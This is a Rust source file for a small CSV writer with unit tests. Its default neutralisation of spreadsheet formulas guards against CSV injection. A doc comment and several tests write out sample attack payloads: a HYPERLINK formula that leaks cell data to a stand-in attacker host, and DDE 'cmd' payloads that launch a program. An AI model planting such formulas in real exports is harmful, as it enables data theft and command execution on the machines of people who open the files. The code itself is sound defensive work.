1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
//! Small CSV writer. Follows RFC 4180 and pulls in no dependencies.
//!
//! ## Quick start
//!
//! ```ignore
//! use rustango::csv::CsvWriter;
//!
//! let mut w = CsvWriter::new();
//! w.headers(&["id", "name", "email"]);
//! w.row(&["1", "Alice", "alice@example.com"]);
//! w.row(&["2", "Bob", "bob, jr.@example.com"]); // commas auto-quoted
//! let csv = w.into_string();
//! ```
//!
//! ## Quoting rules (RFC 4180)
//!
//! A field is wrapped in `"..."` when it holds `,`, `"`, `\r` or `\n`.
//! Inside quotes, `"` is written twice. Anything else goes out as is.
//!
//! By default every cell also passes through
//! [`neutralize_formula`](crate::csv::neutralize_formula), so
//! an export a person opens in a spreadsheet cannot run code.
/// Build a [`CsvWriter`] from JSON rows and a list of column names.
///
/// Each row should be an object. A missing key becomes an empty cell.
/// Handy for turning a list endpoint's JSON into a CSV download.
///
/// ```
/// use rustango::csv::csv_from_json_rows;
/// use serde_json::json;
///
/// let rows = vec![
/// json!({"id": 1, "name": "Alice"}),
/// json!({"id": 2, "name": "Bob, Jr."}),
/// ];
/// let s = csv_from_json_rows(&["id", "name"], &rows).into_string();
/// assert!(s.contains("\"Bob, Jr.\""));
/// ```
#[must_use]
pub fn csv_from_json_rows(columns: &[&str], rows: &[serde_json::Value]) -> CsvWriter {
let mut w = CsvWriter::new();
w.headers(columns);
for row in rows {
let cells: Vec<String> = columns
.iter()
.map(|c| json_cell_to_string(row.get(*c)))
.collect();
let cell_refs: Vec<&str> = cells.iter().map(String::as_str).collect();
w.row(&cell_refs);
}
w
}
/// Render one JSON value as a flat cell. Strings unwrap, numbers and
/// bools stringify, null and missing keys become empty. Objects and
/// arrays keep their JSON text so the cell stays readable.
fn json_cell_to_string(v: Option<&serde_json::Value>) -> String {
match v {
None | Some(serde_json::Value::Null) => String::new(),
Some(serde_json::Value::String(s)) => s.clone(),
Some(serde_json::Value::Bool(b)) => b.to_string(),
Some(serde_json::Value::Number(n)) => n.to_string(),
Some(other) => serde_json::to_string(other).unwrap_or_default(),
}
}
/// CSV writer that builds the output in memory.
///
/// A typical admin export fits in memory. For very large ones, write in
/// batches and flush each batch yourself.
#[derive(Default)]
pub struct CsvWriter {
out: String,
column_count: Option<usize>,
/// Off by default, so formulas are neutralised. Set by
/// [`Self::raw_formulas`].
allow_formulas: bool,
}
impl CsvWriter {
/// New empty writer.
#[must_use]
pub fn new() -> Self {
Self::default()
}
/// Write the header row. This fixes the column count: later rows are
/// padded or truncated to match.
pub fn headers<I, S>(&mut self, headers: I)
where
I: IntoIterator<Item = S>,
S: AsRef<str>,
{
let headers: Vec<String> = headers.into_iter().map(|s| s.as_ref().to_owned()).collect();
self.column_count = Some(headers.len());
self.write_row(&headers);
}
/// Write a data row. After `headers()`, the row is padded with empty
/// strings or cut down to the column count.
pub fn row<I, S>(&mut self, row: I)
where
I: IntoIterator<Item = S>,
S: AsRef<str>,
{
let mut row: Vec<String> = row.into_iter().map(|s| s.as_ref().to_owned()).collect();
if let Some(n) = self.column_count {
row.resize(n, String::new());
}
self.write_row(&row);
}
/// Take the buffered output.
#[must_use]
pub fn into_string(self) -> String {
self.out
}
/// Look at the buffered output so far.
#[must_use]
pub fn as_str(&self) -> &str {
&self.out
}
/// Write values byte for byte, skipping formula neutralisation.
///
/// Use this only for CSV read by a machine. If a person may open the
/// file in Excel, LibreOffice or Sheets, keep the default: see
/// [`neutralize_formula`].
#[must_use]
pub fn raw_formulas(mut self) -> Self {
self.allow_formulas = true;
self
}
fn write_row(&mut self, row: &[String]) {
// A bare CRLF is a blank line readers skip; quote the lone empty cell (#1908).
if let [only] = row {
if only.is_empty() {
self.out.push_str("\"\"\r\n");
return;
}
}
for (i, field) in row.iter().enumerate() {
if i > 0 {
self.out.push(',');
}
let field = if self.allow_formulas {
escape_field(field)
} else {
escape_field(&neutralize_formula(field))
};
self.out.push_str(&field);
}
self.out.push_str("\r\n");
}
}
/// Defuse a cell that a spreadsheet would run as a formula (CWE-1236).
///
/// Excel, LibreOffice and Sheets start a formula on a leading `=`, `+`,
/// `-`, `@`, tab or CR, so an exported value like
///
/// ```text
/// =HYPERLINK("https://evil.example/?d="&A1,"Click for details")
/// ```
///
/// runs when the file is opened. RFC 4180 quoting does not stop it: the
/// quotes are removed before the cell is parsed. Prefixing the value
/// with a single quote does, because that marks it as literal text.
///
/// Plain numbers pass through, so `-5` and `+3.14` stay usable data.
#[must_use]
pub fn neutralize_formula(s: &str) -> String {
let Some(first) = s.chars().next() else {
return s.to_owned();
};
if !matches!(first, '=' | '+' | '-' | '@' | '\t' | '\r') {
return s.to_owned();
}
// A well-formed number is not a formula, whatever it starts with.
if s.parse::<f64>().is_ok() {
return s.to_owned();
}
let mut out = String::with_capacity(s.len() + 1);
out.push('\'');
out.push_str(s);
out
}
/// Escape one CSV field per RFC 4180.
fn escape_field(s: &str) -> String {
let needs_quoting = s.bytes().any(|b| matches!(b, b',' | b'"' | b'\r' | b'\n'));
if !needs_quoting {
return s.to_owned();
}
let mut out = String::with_capacity(s.len() + 2);
out.push('"');
for ch in s.chars() {
if ch == '"' {
out.push_str("\"\"");
} else {
out.push(ch);
}
}
out.push('"');
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn plain_fields_unquoted() {
let mut w = CsvWriter::new();
w.row(&["a", "b", "c"]);
assert_eq!(w.as_str(), "a,b,c\r\n");
}
#[test]
fn comma_in_field_gets_quoted() {
let mut w = CsvWriter::new();
w.row(&["a", "b, c", "d"]);
assert_eq!(w.as_str(), "a,\"b, c\",d\r\n");
}
#[test]
fn quote_in_field_doubled_and_quoted() {
let mut w = CsvWriter::new();
w.row(&["a", r#"say "hi""#, "b"]);
assert_eq!(w.as_str(), "a,\"say \"\"hi\"\"\",b\r\n");
}
#[test]
fn newline_in_field_gets_quoted() {
let mut w = CsvWriter::new();
w.row(&["a", "line1\nline2", "b"]);
assert_eq!(w.as_str(), "a,\"line1\nline2\",b\r\n");
}
#[test]
fn carriage_return_in_field_gets_quoted() {
let mut w = CsvWriter::new();
w.row(&["a", "line1\rline2", "b"]);
assert!(w.as_str().contains("\"line1\rline2\""));
}
#[test]
fn empty_field_unquoted() {
let mut w = CsvWriter::new();
w.row(&["", "x", ""]);
assert_eq!(w.as_str(), ",x,\r\n");
}
/// A one-column empty cell is `""`, not a blank line (#1908).
#[test]
fn single_empty_field_is_quoted() {
let mut w = CsvWriter::new();
w.headers(["note"]);
w.row([""]);
w.row(["x"]);
assert_eq!(w.as_str(), "note\r\n\"\"\r\nx\r\n");
}
#[test]
fn headers_then_rows() {
let mut w = CsvWriter::new();
w.headers(&["id", "name"]);
w.row(&["1", "Alice"]);
w.row(&["2", "Bob"]);
assert_eq!(w.into_string(), "id,name\r\n1,Alice\r\n2,Bob\r\n");
}
#[test]
fn row_padded_to_column_count_after_headers() {
let mut w = CsvWriter::new();
w.headers(&["a", "b", "c"]);
w.row(&["1"]); // short
assert_eq!(w.into_string(), "a,b,c\r\n1,,\r\n");
}
#[test]
fn row_truncated_to_column_count_after_headers() {
let mut w = CsvWriter::new();
w.headers(&["a", "b"]);
w.row(&["1", "2", "3", "4"]); // long
assert_eq!(w.into_string(), "a,b\r\n1,2\r\n");
}
// ---- formula injection ----
#[test]
fn leading_formula_triggers_are_neutralised() {
// A hyperlink that leaks data, set through a user field.
assert_eq!(
neutralize_formula(r#"=HYPERLINK("http://evil/?"&A1,"x")"#),
r#"'=HYPERLINK("http://evil/?"&A1,"x")"#
);
assert_eq!(neutralize_formula("+SUM(A1)"), "'+SUM(A1)");
assert_eq!(neutralize_formula("@SUM(A1)"), "'@SUM(A1)");
assert_eq!(
neutralize_formula("-2+3+cmd|' /c calc'!A0"),
"'-2+3+cmd|' /c calc'!A0"
);
// Leading tab / CR are formula lead-ins in Excel too.
assert_eq!(neutralize_formula("\t=1+1"), "'\t=1+1");
assert_eq!(neutralize_formula("\r=1+1"), "'\r=1+1");
}
#[test]
fn numbers_are_not_mangled() {
// These are data, not formulas.
for n in ["-5", "-5.25", "+3.14", "0", "1e6", "-1e-6"] {
assert_eq!(neutralize_formula(n), n, "{n} must pass through");
}
}
#[test]
fn ordinary_text_is_untouched() {
for s in ["", "plain", "a,b", "hello world", "user@example.com"] {
assert_eq!(neutralize_formula(s), s);
}
}
#[test]
fn writer_neutralises_by_default_and_still_quotes() {
let mut w = CsvWriter::new();
w.headers(["name"]);
w.row(["=1+1"]);
// Prefixed, and the leading quote does not itself force quoting.
assert_eq!(w.as_str(), "name\r\n'=1+1\r\n");
// A formula with a comma gets RFC 4180 quoting as well.
let mut w = CsvWriter::new();
w.row(["=A1,B1"]);
assert_eq!(w.as_str(), "\"'=A1,B1\"\r\n");
}
#[test]
fn raw_formulas_opt_out_emits_verbatim() {
let mut w = CsvWriter::new().raw_formulas();
w.row(["=1+1"]);
assert_eq!(w.as_str(), "=1+1\r\n");
}
#[test]
fn json_export_helper_is_protected_by_default() {
// User-controlled fields dumped for an operator to open.
let rows = vec![serde_json::json!({ "name": "=cmd|' /c calc'!A0" })];
let out = csv_from_json_rows(&["name"], &rows).into_string();
assert!(
out.contains("'=cmd"),
"exported user data must be neutralised: {out}"
);
}
#[test]
fn escape_field_simple() {
assert_eq!(escape_field("plain"), "plain");
assert_eq!(escape_field("a,b"), "\"a,b\"");
assert_eq!(escape_field("say \"x\""), "\"say \"\"x\"\"\"");
}
}